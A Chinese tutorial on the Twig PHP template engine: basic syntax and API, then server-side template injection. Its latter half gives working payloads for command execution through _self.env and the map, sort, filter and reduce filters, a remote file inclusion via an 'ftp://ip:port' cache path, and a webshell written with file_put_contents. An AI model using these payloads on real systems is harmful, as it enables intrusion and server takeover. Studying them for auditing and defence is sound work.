接下来我们以Twig为例子具体来了解一下一个模板的工作原理以及可以利用的漏洞
简介与安装
详见官网安装文档:Twig Docs: Introduction
Twig 3.x需要PHP版本高于7.2.5
安装
建议通过Composer命令进行安装
composer require "twig/twig:^3.0"
基础的API调用实例
通过require包含twig的项目文件,可以在Twig的命名空间下调用ArrayLoader类来加载模板(例如这里index就是一个模板),以及Environment类创建环境保存配置:
render()
方法的第一个参数是用来加载模板的,第二个参数用来对模板中的占位内容进行填充(渲染)
这里 $twig-render 方法就是加载了模板 index
, 并在 {{name}}
的位置上填充了 Fabien
require_once '/path/to/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['name' => 'Fabien']);
另一种形式的加载起就是直接将模板以文件的形式进行存储,我认为这也是更为常见的形式,用到的加载器类是 FilesystemLoader
可以直接加载存储模板的目录:
可以看到这里变成了加载一个模板文件 index.html
;
$loader = new \Twig\Loader\FilesystemLoader('/path/to/templates');
$twig = new \Twig\Environment($loader, [
'cache' => '/path/to/compilation_cache',
]);
echo $twig->render('index.html', ['name' => 'Fabien']);
基础语法
参考:Twig for Template Designers
就像我们在模板引擎一节中提到的那样,模板,template本质上就是一个文本文件,通过与数据库的数据进行结合之后,用来生成我们所需要的任何基于文本的格式文件 (e.g., HTML, XML, CSV, LaTeX),因此也没有特别的后缀名,.html, .xml, .twig 都可以
模板中含有 variables 变量
或者 expressions 表达式
, 当模板被模板引擎激活的时候这些内容就会被替换,还有 tags 标签
, 用来控制模板的逻辑
接着我们用一个简单的例子来说明一些基础语法
<!DOCTYPE html>
<html>
<head>
<title>My Webpage</title>
</head>
<body>
<ul id="navigation">
{% for item in navigation %}
<li><a href="{{ item.href }}">{{ item.caption }}</a></li>
{% endfor %}
</ul>
<h1>My Webpage</h1>
{{ a_variable }}
</body>
</html>
上面的html中出现了两种符号:
- {% … %} 用来运行指令,比如循环
- {{ … }} 用来输出表达式的结果
- 变量
- {{ foo.bar }
网页应用可以将变量传递到模板中,从而改变模板中的内容。
这些变量同样可以拥有能够访问的属性和子元素,可以使用
.
来进行访问 - 全局变量
-
_self: 对于当前模板的引用
-
_context: 对于上下文的引用
-
_charset: 对于当前字符集的引用
-
- 变量赋值
- 使用
set
标签为变量赋值{% set foo = 'foo' %} {% set foo = [1, 2] %} {% set foo = {'foo': 'bar'} %}
- Filters 过滤器
- Filter过滤器可以用来修改变量,同时可以使用管道符
|
来间隔多个过滤器从而对变量进行多次的处理,每一个过滤器处理的结果会传递到下一个{{ name|striptags|title }} // {{ '<a>whoami<a>'|striptags|title }} // Output: Whoami!
上面的表达式就是对
name
这个变量进行修改,首先通过striptags
移除所有的HTML标签,然后再利用title
进行首字母大写
{{ list|join(', ') }}
{{ list|join }}
{{ list|join(', ') }}
// {{ ['a', 'b', 'c']|join }}
// Output: abc
// {{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c
过滤器同样可以设置参数来对变量进行处理
比如上面的表达式, list
是一个列表,利用 join
标签对其中的元素进行组合,并且设置参数使用 ,
进行分隔
如果需要对一个区域的HTML代码进行处理,可以使用 apply
标签,这将可以使一个区域的所有文字内容都变成大写
{% apply upper %}
This text becomes uppercase
{% endapply %}
更多过滤器的内容详见:Filters
- 函数
Twig内置了一些函数可供使用,和常见的语言类似,只需要函数名+()就可以调用函数,同时也可以使用参数名来对参数进行赋值
{% for i in range(0, 3) %}
{{ i }},
{% endfor %}
{% for i in range(low=1, high=10, step=2) %}
{{ i }},
{% endfor %}
更多函数的内容详见:functions
- 控制结构
- 控制结构指的就是那些可以控制程序执行的结构,例如if/elseif/else,for等带有条件的结构,在twig中需要用
{% ... %}
来包裹使用
for标签
<h1>Members</h1>
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
if标签
{% if users|length > 0 %}
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
{% endif %}
更多内置标签的信息详见:tags
- 注释
- 使用
{# ... #}
对模板内的代码块进行注释
{# note: disabled template because we no longer use this
{% for user in users %}
...
{% endfor %}
#}
- 包含其他的模板
include
函数可以将另一个模板所渲染的内容包含在当前模板中{{ include('sidebar.html') }}
被包含的模板将与当前模板共享上下文的全局变量
{% for box in boxes %}
{{ include('render_box.html') }}
{% endfor %}
例如被包含的模板 render_box.html
就可以访问当前模板中的变量 box
- 模板继承
- Twig中最强大的功能就是模板继承,模板继承功能允许你构建一个基础的模板骨架,其中包括了所有网站需要的内容,并预留出
blocks 区块
以供子模板来进行重写我们来看一个简单的例子
我们构建一个基础模板 base.html如下
<!DOCTYPE html>
<html>
<head>
{% block head %}
<link rel="stylesheet" href="style.css"/>
<title>{% block title %}{% endblock %} - My Webpage</title>
{% endblock %}
</head>
<body>
<div id="content">{% block content %}{% endblock %}</div>
<div id="footer">
{% block footer %}
© Copyright 2011 by <a href="http://domain.invalid/">you</a>.
{% endblock %}
</div>
</body>
</html>
在上面的例子中, 一共有4个block标签:head, title, content, footer,都表示需要子模板来对这些block进行填充
一个子模板可能长这样:
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ parent() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<h1>Index</h1>
<p class="important">
Welcome to my awesome homepage.
</p>
{% endblock %}
首先使用 extends
标签来继承父模板,需要作为第一个标签放在子模板中,然后就可以对不同的block进行重写,当然可一般的语言一样,可以使用 parent()
方法来继承父模板中渲染的内容,默认情况下,如果没有对block进行重写,那么就默认输出父模板中的渲染内容,就像这里的 footer block
一样
- HTML字符逃逸
- 为了防止在模板在生成HTML的时其中的变量加入了一些意料之外的字符导致结果出现问题,Twig提供了两种方法来手动和自动地逃逸这些特殊字符
-
手动逃逸: 使用
espace/e
过滤器来进行手动逃逸{{ user.username|escape }} {{ user.username|e }}
escape
过滤器默认是对HTML进行操作,也可以更改为其他的策略{{ user.username|e('js') }} {{ user.username|e('css') }} {{ user.username|e('url') }} {{ user.username|e('html_attr') }}
-
自动逃逸: Twig提供了表达式可以对一个区域的代码进行统一的字符逃逸,同样默认是针对HTML的,也可以改为其他的策略
{% autoescape %} Everything will be automatically escaped in this block (using the HTML strategy) {% endautoescape %} {% autoescape 'js' %} Everything will be automatically escaped in this block (using the JS strategy) {% endautoescape %}
如果我们想要在模板中输出
{{
而不被当作时模板的变量,可以使用以下表达式,直接进行一个变量表达{{ '{{' }}
-
Twig的API使用
在上一节中我们介绍了如何设计Twig模板,在本章中,我们将会介绍如何使用Twig的API来对模板进行操作,本节主要参考:Twig for Developers
从官网文档的标题,也很能体现模板引擎的意义,Twig for Template Designers主要就是写给那些设计模板,页面的显示内容的人(前端?),而Twig for Developers更多的是针对模板内容的处理,这样就很好的把模板和数据操作分开,把显示和内容分开。
- Environment 环境
- 下面的这个例子我们已经在简介那一节中见过了,Twig会创建一个
\Twig\Environment
类的对象(实例)来保存配置以及扩展内容,同时也用来加载模板。通常来说大部分的应用会创建一个统一的环境对象来存储所有的模板,但是也可以创建多个环境来存储不同的配置,配置的设置就是
\Twig\Environment
构造器的第二个参数,这其实是一个数组,可以存储任何对于环境的配置信息。比如这里的
cache
就是指定了模板编译的缓存地址,用来存储已经编译过的模板来避免对于解析阶段的请求(没编译好就请求,这里不太懂)
require_once '/path/to/vendor/autoload.php';
$loader = new \Twig\Loader\FilesystemLoader('/path/to/templates');
$twig = new \Twig\Environment($loader, [
'cache' => '/path/to/compilation_cache',
]);
- Rendering Templates 渲染模板
-
想要加载一个Twig环境中的模板,可以使用
load()
函数,其会返回一个\Twig\TemplateWrapper
实例$template = $twig->load('index.html');
-
想要将变量的值渲染到模板上去,可以使用
render()
函数echo $template->render(['the' => 'variables', 'go' => 'here']);
-
更多加载和渲染的例子
echo $twig->render('index.html', ['the' => 'variables', 'go' => 'here']); # 加载和渲染在一起 echo $template->renderBlock('block_name', ['the' => 'variables', 'go' => 'here']); # 只渲染单独的区块
-
- Loaders 加载器
- 加载器的主要职责就是加载模板(例如从文件系统中)
-
Compilation Cache 编译缓存: 所有的模板加载器都会将文件系统中编译过的模板存储在缓存中以供将来使用,以此来提高使用的效率,不用重复加载;
-
内置的加载器: 1.
\Twig\Loader\FilesystemLoader
, 加载器从文件系统中加载模板```php $loader = new \Twig\Loader\FilesystemLoader($templateDir); # 从目标路径中加载目录 $loader = new \Twig\Loader\FilesystemLoader([$templateDir1, $templateDir2]); # 依次尝试数组中的目录 ```
-
\Twig\Loader\ArrayLoader
, 加载器从PHP数组中加载模板,下面的例子就是加载了一个’index.html’ => ‘Hello {{ name }}!‘的数组$loader = new \Twig\Loader\ArrayLoader([ 'index.html' => 'Hello {{ name }}!', ]); $twig = new \Twig\Environment($loader); echo $twig->render('index.html', ['name' => 'Fabien']);
-
\Twig\Loader\ChainLoader
可以将多个加载器合并,统一放到环境中$loader1 = new \Twig\Loader\ArrayLoader([ 'base.html' => '{% block content %}{% endblock %}', ]); $loader2 = new \Twig\Loader\ArrayLoader([ 'index.html' => '{% extends "base.html" %}{% block content %}Hello {{ name }}{% endblock %}', 'base.html' => 'Will never be loaded', ]); $loader = new \Twig\Loader\ChainLoader([$loader1, $loader2]); $twig = new \Twig\Environment($loader);
-
-
漏洞利用
在介绍了Twig的基础模板语法与API使用之后,我们来看看不同版本的Twig都有哪些漏洞可以利用;
1.x
我们回顾一下之前在基础语法中提到过,Twig拥有三个全局变量
-
_self: 对于当前模板对象实例的引用;
-
_context: 对于上下文的引用;
-
_charset: 对于当前字符集的引用;
setCache
在1.x版本中,我们主要就是要利用其中的其中的 _self
变量,因为其代表了对于当前模板对象实例(\Twig\Template)的引用,其中包含的 env
属性指向了 \Twig\Environment
对象实例的引用,这样我们就可以继续利用Twig环境对象实例中的方法:
常见的 payload 就有:
{{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}
setCache是我们之前提到过的,设置编译模板的缓存目录,接着在我们改变当前模板的缓存目录之后,再次调用 loadTemplate
函数就可以包含任意我们想要的文件了,在allow_url_include开启的条件下,我们就实现了远程文件包含:
getFilter
public function getFilter($name)
{
...
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
我们可以从 getFilter
源码中发现危险函数 call_user_func
, 通过传入 $name 参数到该函数中,就可以调用任意PHP函数;
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
在Twig 2.x 以及 3.x 的版本中, _self
的作用发生了变化,只能返回当前实例名的字符串,因此这个payload只能够再1.x版本使用
同时 getFilter
方法中也不再包含危险的函数了:
public function getFilter(string $name): ?TwigFilter
{
if (!$this->initialized) {
$this->initExtensions();
}
if (isset($this->filters[$name])) {
return $this->filters[$name];
}
foreach ($this->filters as $pattern => $filter) {
$pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count);
if ($count && preg_match('#^'.$pattern.'$#', $name, $matches)) {
array_shift($matches);
$filter->setArguments($matches);
return $filter;
}
}
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = $callback($name)) {
return $filter;
}
}
return null;
}
public function registerUndefinedFilterCallback(callable $callable): void
{
$this->filterCallbacks[] = $callable;
}
我觉得这就是一个很好的思路,在我们进行代码审计的时候,可以先找到这些危险的函数,然后再追溯其的使用,判断是否会有用户的输出能够调用这类函数
2.x / 3.x
在2.x / 3.x中, _self
变量已经没法被我们所利用了,但是我们可以借助新版本中的一些过滤器来实现攻击的目的。
我们将介绍4个过滤器:
map
map
过滤器将一个 arrow function
应用于 sequence
或者 mapping
(因为没有中文文档,所以不是很敢翻译这些既陌生又熟悉的名词,大家可以根据例子体会一下),文档详见:map
{% set people = [
{first: "Bob", last: "Smith"},
{first: "Alice", last: "Dupond"},
] %}
{{ people|map(p => "#{p.first} #{p.last}")|join(', ') }}
{# outputs Bob Smith, Alice Dupond #}
同时 arrow function
也可以接受mapping键值对的 key
的内容作为作为第二个参数
{% set people = {
"Bob": "Smith",
"Alice": "Dupond",
} %}
{{ people|map((value, key) => "#{key} #{value}")|join(', ') }}
{# outputs Bob Smith, Alice Dupond #}
注意:这里的 arrow_function
是可以访问当前的全局变量 $context
的
那当我们使用如下例子的时候:
{{["Mark"]|map((arg)=>"Hello #{arg}!")}}
Twig 3.x 会将其编译成如下php代码:
twig_array_map([0 => "Mark"],
function ($__arg__) use ($context, $macros) {
$context["arg"] = $__arg__;
return ("hello " . ($context["arg"] ?? null))})
- 第一个参数就是经过map处理过的数组参数 [“Mark”]
- 第二个参数就是一个
arrow function
其中的 twig_array_map
方法的源码如下:
function twig_array_map($array, $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k); // 直接将 $arrow 当做函数执行
}
return $r;
}
我们可以从代码中观察得到:
- $array = [0 => “Mark”]
- $arrow = function…
- $k, $v 就是$array中的key & value
- 并且$arrow直接就不经检查就默认作为函数来进行调用
- 而$array就被转化为 $arrow函数所需要的两个参数
因此我们自然可以想到如果我们修改 twig_array_map 的两个参数,将 $arrow
改成命令执行函数,同样会被直接当作函数执行,那么就可以实现RCE,而原本的Array就会作为函数的参数配合使用
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string
前三个函数都可以使用,Payload如下:
{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id"]|map("exec")}} // 无回显
就可以执行 id
命令,输出系统id的信息了
如果命令执行函数都被禁用,还可以尝试其他函数来执行任意代码:
{{["phpinfo();"]|map("assert")|join(",")}} // assert('phpinfo();')
{{{"<?php phpinfo();eval($_POST[whoami])":"/var/www/html/shell.php"}|map("file_put_contents")}} // 写 Webshell
我们利用 $arrow
可以不经检查就被直接当作函数来执行的特点,还可以发现其他的几个过滤器也存在相同的问题
sort
sort
过滤器可以用来给数组进行排序,介绍详见:sort
{% for user in users|sort %}
...
{% endfor %}
我们同样可以将一个 arrow function
作为参数传入来实现更为复杂的排序方法,这机会不就来了
{% set fruits = [
{ name: 'Apples', quantity: 5 },
{ name: 'Oranges', quantity: 2 },
{ name: 'Grapes', quantity: 4 },
] %}
{% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
{{ fruit }}
{% endfor %}
{# output in this order: Oranges, Grapes, Apples #}
在模板被编译后, sort
过滤器会被转化为 twig_sort_filter
函数,源码如下:
function twig_sort_filter($array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
if (null !== $arrow) {
uasort($array, $arrow); // 直接被 uasort 调用
} else {
asort($array);
}
return $array;
}
同样可以用来进行远程代码执行,payload如下:
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}} // 无回显
filter
filter
过滤器,原汁原味的过滤器,主要功能就是通过给定条件来筛选数据,详见:filter
filter
过滤器可以通过传入一个 arrow function
来规定想要的数据的范围
下面的例子就是通过filter过滤器来选出数组中大于38的值
{% set sizes = [34, 36, 38, 40, 42] %}
{{ sizes|filter(v => v > 38)|join(', ') }}
{# output 40, 42 #}
作用于map
{% set sizes = {
xs: 34,
s: 36,
m: 38,
l: 40,
xl: 42,
} %}
{% for k, v in sizes|filter(v => v > 38) -%}
{{ k }} = {{ v }}
{% endfor %}
{# output l = 40 xl = 42 #}
同样可以将map中的键值对中的key拿出来作为 arrow_function
的第二个参数
{% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%}
{{ k }} = {{ v }}
{% endfor %}
{# output l = 40 #}
那么filter过滤器在经过了编译之后会得到 twig_array_filter
函数,同样会调用 array_filter
来直接调用 $arrow
:
function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
我们可以看到这里传入的 $array 以及 $arrow 直接被 array_filter
函数调用:
array_filter(array $array, ?callable $callback = null, int $mode = 0): array
array_filter的前两个参数分别为
- array,用来遍历的数组
- callback,用来执行的回调函数
也就是说这里$arrow直接可以配合$array进行执行
因此也可以payload于之前类似
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}} // 无回显
reduce
reduce
过滤器将对数组进行处理,通过一个 arrow_function
来定义操作的规则,迭代地将数组中的元素进行合并直至一个元素,详见官方文档:reduce
比如就可以将数组中所有的元素相加
{% set numbers = [1, 2, 3] %}
{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}
那么在经过编译之后就会转为利用 twig_array_reduce
方法
function twig_array_reduce($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
return array_reduce($array, $arrow, $initial); // $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}
其中的 array_reduce
方法同样也也将 $arrow 作为回调函数直接执行,并将 $array 作为参数带入
那么payload同样也是类似的,不过这里要传入的参数需要包含至少两个,这样才符合两个操作值:
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 无回显
通用payload
{{["id"]|map("system")|join(",")
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}